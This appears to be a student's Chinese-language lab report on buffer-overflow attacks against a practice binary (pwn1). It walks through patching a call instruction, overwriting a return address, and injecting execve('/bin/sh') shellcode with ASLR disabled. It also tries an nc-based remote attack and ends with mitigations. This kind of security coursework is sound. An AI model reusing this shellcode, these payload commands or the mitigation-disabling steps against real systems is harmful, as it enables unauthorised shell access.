20212308 2023-2024-2 《网络与系统攻防技术》实验一实验报告

20212308 2023-2024-2 《网络与系统攻防技术》实验一实验报告

1.实验内容

缓冲区溢出是非常致命的攻击,它会使攻击者直接破坏堆栈保护,非法获取数据。关于此需要学习的知识如下:

  • Linux基础知识
    • 基本的shell命令(例如:ls、cd、cp、touch、cat、su等等)
    • 在Linux中熟练使用编译器gcc、调试器gdb,尤其是gdb调试指令(例如:设置断点break/clear、 启用/禁用断点enable/disable、运行程序run、继续运行continue、单步代码跟入函数step、查看各类信息info、显示调用栈backtrack等)
  • 汇编语言
    • 可以阅读基础的汇编指令(例如:PUSH、POP、JMP、CALL、LEAVE、RET)
    • 熟知esp、ebp、eip等寄存器中信息的作用
  • 掌握反汇编和十六进制编辑
  • 了解Linux的进程内存管理
    • 32位机器内存4GB,用户态0-3GB,内核态3-4GB
    • 了解env、argv、argc的含义
    • 了解.bss、.data、.text的含义
    • 熟知堆、栈的概念
  • 了解缓冲区、缓冲区溢出漏洞的相关概念
    • 定义概念
    • 形成原因
    • 了解堆溢出、栈溢出的逻辑
  • 了解Shellcode技术
    • 基本概念
    • 三种BOF模式:NSR、RNS、RS
  • 了解Linux平台的缓冲区溢出漏洞缓解措施

2.实验过程

2.1 VM_Kali安装

2.1.1 安装配置虚拟机

2023版Kali https://mp.weixin.qq.com/s/hRSjQzx1Q0k0OCuQ3j61LQ

2024版Kali https://blog.csdn.net/Javachichi/article/details/134087232

2.1.2 桥接网络不通(缺少虚拟网卡VMnet0

https://zhuanlan.zhihu.com/p/111035992

2.1.3 root管理员

更换管理员密码:sudo passwd
切换到管理员身份(当前目录不变):su
本次实验建议全程切换到管理员身份,否则部分操作会出现权限不足的情况。

2.1.4 共享文件夹挂载

https://blog.csdn.net/yghq008/article/details/131620739

PS:kali使用小技巧

​ ①根据提示,补全命令——【→】

​ ②如果我们键入的命令正确,那么该命令为绿色,如果键入的命令不正确,那么该命令为红色

​ ③字体缩放快捷键:字体放大——Ctrl+Shift+【+】;字体缩小——Ctrl+【-】

2.2 修改程序机器指令

2.2.1 查看pwn1文件反汇编信息
objdump -d pwn1 | more

# 该命令的目的是查看pwn1二进制文件的反汇编输出
# objdump:显示二进制文件信息,包含反汇编、符号表、重定位等
# objdump -d:显示反汇编信息
# |:管道符号,将前一个命令的输出作为后一个命令的输入
# more:用于分页查看文本文件内容的程序,而不是一次性显示所有内容(按Enter健查看下一行,按空格键查看下一页,按q键退出)

在这里插入图片描述
请添加图片描述

  • 上图的main函数中,"call 8048491 "是汇编指令
    • 是说这条指令将调用位于地址8048491处的foo函数;
    • 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
      • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。
      • “d7ffffff”是补码【小端模式!!!】,十进制数值为-41,41=0x29,80484ba-0x29正好是8048491这个值

在这里插入图片描述

2.2.2修改可执行文件

观察反汇编内容,getShell函数的地址是0804847d,如果想要main函数调用getShell函数替代调用foo函数,则可以修改可执行文件中的机器指令:将其中的call指令的目标地址由d7ffffff变为c3ffffff(0804847d - 80484ba = ffffffc3)。

cp pwn1 pwn2
# cp :复制文件或目录
# 该命令会将名为 pwn1 的文件复制为 pwn2

安装xxd工具,xxd是用于将文件内容显示为十六进制编码的工具。此处最开始我的Kali虚拟机网络不通,问题分析及解决详见3.1。
请添加图片描述

vi pwn2
# 使用vi命令编辑pwn2文件

:%!xxd
# :%!xxd可以切换行显示模式为16进制模式

/d7
# /d7用于查找特定机器码

# 找到正确位置,做出修改,将call指令的目标地址由d7ffffff变为c3ffffff

:%!xxd -r
# 转换十六进制为原格式

:wq
# 保存退出

请添加图片描述

请添加图片描述

2.2.3查看并运行修改后的程序

反汇编查看修改后的pwn2。

objdump -d pwn2 | more

请添加图片描述

运行pwn2,查看运行效果。

./pwn2

请添加图片描述
如上图所示,成功修改函数调用流程,可以调用getShell函数。

2.3 BOF攻击实践

通过构造输入参数,造成BOF攻击,改变程序执行流。

2.3.1 分析pwn1文件反汇编信息

继续使用objdump命令查看反汇编信息,这里我将反汇编信息重定向给一个txt文件,方便查看。(已将该文件绑定成此博客的资源)

touch pwn_disasm.txt
# 首先创建一个空txt文件

objdump -d pwn1 > pwn_disasm.txt
# 将pwn1反汇编信息重定向给txt文件

请添加图片描述

接下来解读pwn1的反汇编!!!:

请添加图片描述根据上述分析得出的结论如上图黄色文字所示。

2.3.2 确认输入字符串哪几个字符会覆盖到返回地址
gdb pwn1
# 启用gdb工具调试程序

(gdb) r
(gdb)info r

输入一定的数值测试返回地址的位置,以便后续覆盖该地址,完成BOF攻击,详见下两图和下表。

请添加图片描述

请添加图片描述

数字十六进制ASCII码
030
131
232
333
434
535
636
737
838
939

如果输入字符串“1111111122222222333333334444444412345678”,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

2.3.3 确认用什么值来覆盖返回地址

getShell的内存地址,通过反汇编时可以看到,即0804847d。

接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

其实这一点在之前的实践中已经能判断出是小端模式了,故应该输入11111111222222223333333344444444\x7d\x84\x04\x08

请添加图片描述

2.3.4 构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
# Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中

使用16进制查看指令xxd查看input文件的内容是否如预期。

xxd input

请添加图片描述
将input的输入,通过管道符“|”,作为pwn1的输入。

 (cat input; cat) | ./pwn1
 # 先读取 input 文件的内容,然后等待从标准输入读取更多的内容,直到没有更多输入为止。这些内容随后会被传递给 ./pwn1 程序作为输入

ls
# 这是获取Shell后输入的指令

(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn1

请添加图片描述

2.4 注入Shellcode并执行

2.4.1 准备一段Shellcode

什么是Shellcode?

  • shellcode就是一段机器指令(code)
    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
    • 所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

上面是本次实践准备的Shellcode(Linux内核、CPU架构),其目的是执行/bin/sh(即启动一个新的shell),解释如下:

\x31\xc0 - xorl %eax,%eax:将寄存器eax的值设置为0。
\x50 - pushl %eax:将eax的值(现在是0)推送到栈上。
\x68\x2f\x2f\x73\x68 - pushl $0x68732f2f:将0x68732f2f(即//sh的ASCII码的小端序表示)推送到栈上。
\x68\x2f\x62\x69\x6e - pushl $0x6e69622f:将0x6e69622f(即/bin的ASCII码的小端序表示)推送到栈上。
\x89\xe3 - movl %esp,%ebx:将栈指针(esp)的值复制到ebx寄存器。
\x50 - pushl %eax:再次将eax的值(0)推送到栈上。
\x53 - pushl %ebx:将ebx的值(现在指向/bin//sh的字符串)推送到栈上。
\x89\xe1 - movl %esp,%ecx:将栈指针(esp)的值复制到ecx寄存器。
\x31\xd2 - xorl %edx,%edx:将寄存器edx的值设置为0。
\xb0\x0b - byte $0xb:将0xb(即11的十进制表示)加载到al(eax的低8位)。这是Linux系统调用号,代表execve。
\xcd\x80 - int $0x80:触发软中断,执行系统调用。

2.4.2 调整系统设置

这一步至关重要!!!如果过程中重启虚拟机了则需要重新调整系统设置,否则就会导致BOF实践失败!!!(我就是重启虚拟机后出现了问题,排查了好久原因,多么痛的领悟)

execstack -s pwn1
# 设置堆栈可执行

execstack -q pwn1
# 查询文件的堆栈是否可执行,输出“X pwn1”为正常,这里的 X 表示堆栈是可执行的
# 如果 pwn1 的堆栈不是可执行的,输出是“ - pwn1”,这里的 - 表示堆栈不是可执行的

more /proc/sys/kernel/randomize_va_space 
# 查看地址空间布局随机化(ASLR)情况
# 输出为“0”:关闭ASLR
# 输出为“1”:启用ASLR
# 输出为“2”:完全启用ASLR
# 如果输出不是0,则需要关闭ASLR

echo "0" > /proc/sys/kernel/randomize_va_space
# 修改参数值,关闭地址空间布局随机化
# 只有这样,在后续操作中寻找到的注入shellcode的地址才是不变的。否则即使写好了shellcode,再一次启动程序时地址也不一样了

more /proc/sys/kernel/randomize_va_space 
# 再次查看ASLR,确认关闭(即输出为“0”)

请添加图片描述

2.4.3 构造要注入的payload
  • linux常见的两种BOF模式
    • RNS模式:retaddr+nop+shellcode
    • NSR模式:nop+shellcode+retaddr
  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
  • nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

本次实验我使用的是NSR模式。
首先要找一下堆栈返回地址的位置,然后再用shellcode的地址将其覆盖。

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
# 编写一个shellcode,最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,然后我们在将其改为shellcode的地址即可
# 我们现在要找shellcode的地址

xxd input_shellcode
# 用xxd查看一下十六进制

(cat input_shellcode;cat) | ./pwn1
# 打开终端注入攻击

请添加图片描述

此时被注入input_shellcode的pwn1程序已经正在运行了。

注意:
请添加图片描述

再打开另一个终端,用gdb调试pwn1的进程。

ps -ef | grep pwn1
# 目的是找到pwn1进程号

gdb
# 启用gdb调试进程

(gdb)disassemble foo
# 通过设置断点,来查看注入buf的内存地址

(gdb) break *0x080484ae
# 0x080484ae是断点地址,这时注入的东西都被装入堆栈上了,ret完,就跳到我们覆盖的retaddr那个地方了

(gdb) c
# 这时在另外一个终端中按下回车,提交,让进程继续走

(gdb) info r esp
# 查看esp地址,然后不断试探往回找,找到shellcode地址,详见下三图

请添加图片描述

请添加图片描述

请添加图片描述

由上图可以看到0x0c319090(shellcode开始)的开始地址是0xffffcfc0,0x01020304(shellcode结束)的结束地址是0xffffcfe0(最后一个字符‘/0’的十六进制是0x00)。接下来将shellcode地址加在shellcode中,再次注入。

请添加图片描述shellcode注入后,我们可以打开一个shell,可以看到BOF攻击成功!

以上实践是在非常简单的一个预设条件下完成的,如果更换任意一个条件则上述操作的攻击不成立:
(1)关闭堆栈保护(gcc -fno-stack-protector)
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32环境下
(5)在Linux实践环境

2.4.5 结合nc模拟远程攻击

此实践我是用两台虚拟机模拟,主机1是Kali系统,是有漏洞的靶机;主机2是Ubuntu系统,是攻击机,他需要连接主机1并发送攻击负载。
首先需要两台虚拟机互相ping通。此处我的两个主机都是桥接模式。

请添加图片描述
然后利用nc发起攻击。
主机1:

nc -l 172.16.221.111 -p 12345  -e ./pwn1
# -l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入
# 也可以用下面的命令
nc -lvnp 12345 -e ./pwn1

主机2:

(cat input_shellcode_wxc20212308; cat) | nc 172.16.221.111 12345

请添加图片描述
结果出现上述段错误,查询诸多资料,仍然没有查出原因,详见3.4。

2.5 BOF攻击防御技术

2.5.1. 从防止注入的角度。

在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。

2.5.2 注入入了也不让运行。

结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。

execstack --help

Usage: execstack [OPTION…] execstack – program to query or set
executable stack flag

-c, --clear-execstack Clear executable stack flag bit -q,
–query Query executable stack flag bit -s, --set-execstack Set executable stack flag bit

2.5.3. 增加shellcode的构造难度。

shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。

more /proc/sys/kernel/randomize_va_space 
# /proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况
# 0 - 表示关闭进程地址空间随机化。
# 1 - 表示将mmap的基址,stack和vdso页面随机化。
# 2 - 表示在1的基础上增加栈(heap)的随机化。

echo "0" > /proc/sys/kernel/randomize_va_space
2.5.4 从管理的角度

加强编码质量。注意边界检测。使用最新的安全的库函数。

3.问题及解决方案

3.1 问题1:桥接网络问题

  • 问题1描述:起因是我的kali缺少xxd安装包,于是联网下载资源。但我的虚拟机一直报错无法下载,仔细查看报错提示,加以思考,发现了原因是虚拟机桥接网络配置不正确。关于这个错误,本次实验中我一共遇到了以下三个问题

    • ①无法连接桥接网卡(输入ifconfig命令看不到桥接网卡信息,输入ip addr命令发现eth0网卡关闭);
    • ②连接网卡后,仍无法主机和虚拟机之间仍无法通过桥接连通(互相ping彼此ip均不通);
    • ③DNS域名解析错误(例如:ping不通baidu.com)

请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述

3.2 问题2:安装包问题

  • 问题2描述:安装包装不上,apt-get install命令报错无法定位软件包。

请添加图片描述

请添加图片描述

请添加图片描述问题解决!

3.3问题3:管道破裂错误

  • 问题3描述:在实践shellcode注入时,出现了管道破裂(broken pipe)的错误。反复尝试多次,问题并没有解决。

请添加图片描述

  • 问题3解决方案:经过观察和反复思考,我发现每次注入运行pwn进程,地址空间都会改变。由此联想到之前的地址随机化是不是没有关闭。于是查看了一下,发现确实是这个问题。再回想,想起在这中间我重启了一下虚拟机,所以设置又回到默认了,后知后觉!

请添加图片描述

3.4问题4:段错误

  • 问题4描述:在实践使用nc模拟远程攻击时,反复出现段错误

请添加图片描述

  • 问题4解决方案:对此,我有许多猜测,例如端口没打开?防火墙拦住了?注入的shellcode有问题?我对上述猜测一一修改,逐个验证,但问题并没有解决。查阅诸多资料也不知道出错原因,因此此报错目前没有解决。尽力了!

4.学习感悟、思考等

所有知识性的分析和思考在前面已充分阐述,再此回顾整个实验一,感悟如下:

在我看来本次实验难度并不小,不只是指按照参考资料完整做出来;而是真正搞懂每个指令、每个操作的原理,并转化为自己的理解;还包括针对自己的机器的特殊报错的原因排查、解决方案寻找和测试等。课堂学习再充分也不如自身实践一次收获多,这是因为实践激发了学习的主动性,达到了真正的”翻转课堂“。

本次实验带给我最大的感触除了对缓冲区溢出攻击的理解加深以外,我对Linux指令、汇编语言、反汇编和十六进制编辑、二进制文件逆向分析都有了相应的提升,许多知识更是第一次接触并自学。我印象最深的两部分,一个是对反汇编的逐行分析理解(如下图),还有一个就是shellcode注入实践。这两部分我花的时间和精力最多,弄懂后的收获感也是最大。

请添加图片描述

除了依靠安全协议和体系的保护,规范的编程习惯会对程序甚至系统有极大的保护!网络空间安全,任重道远!网络攻防的道路才刚刚开始,加油!

参考资料

  • 12
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值